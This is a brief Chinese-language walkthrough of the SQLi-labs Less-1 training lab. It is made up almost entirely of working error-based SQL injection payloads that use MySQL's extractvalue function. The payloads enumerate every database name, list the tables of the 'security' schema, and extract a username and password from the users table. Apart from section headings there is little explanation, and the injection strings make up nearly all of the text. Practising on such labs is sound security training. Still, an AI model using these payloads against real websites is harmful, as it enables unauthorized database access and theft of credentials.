目录
?less-1(报错注入之extractvalue)
1.原理
2.爆破所有库
所有数据库名
?id=1’ and extractvalue(1,concat(0x7e,(select database()),0x7e))-- -
?id=1' and extractvalue(1,concat(0x7e,(select substr(group_concat(schema_name),1,31) from information_schema.schemata)))-- - #字母限制仅能显示31个
?id=1' and extractvalue(1,concat(0x7e,(select substr(group_concat(schema_name),32,31) from information_schema.schemata)))-- -
?id=1' and extractvalue(1,concat(0x7e,(select substr(group_concat(schema_name),63,31) from information_schema.schemata)))-- -?
3爆破security的所有表名
Security的所有表名
?id=1’ and extractvalue(1,concat(0x7e,( select group_concat(table_name) from information_schema.tables where table_schema=’security’),0x7e))-- -
4.查询users的第三行数据
?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from security.users where id=3),0x7e))-- -
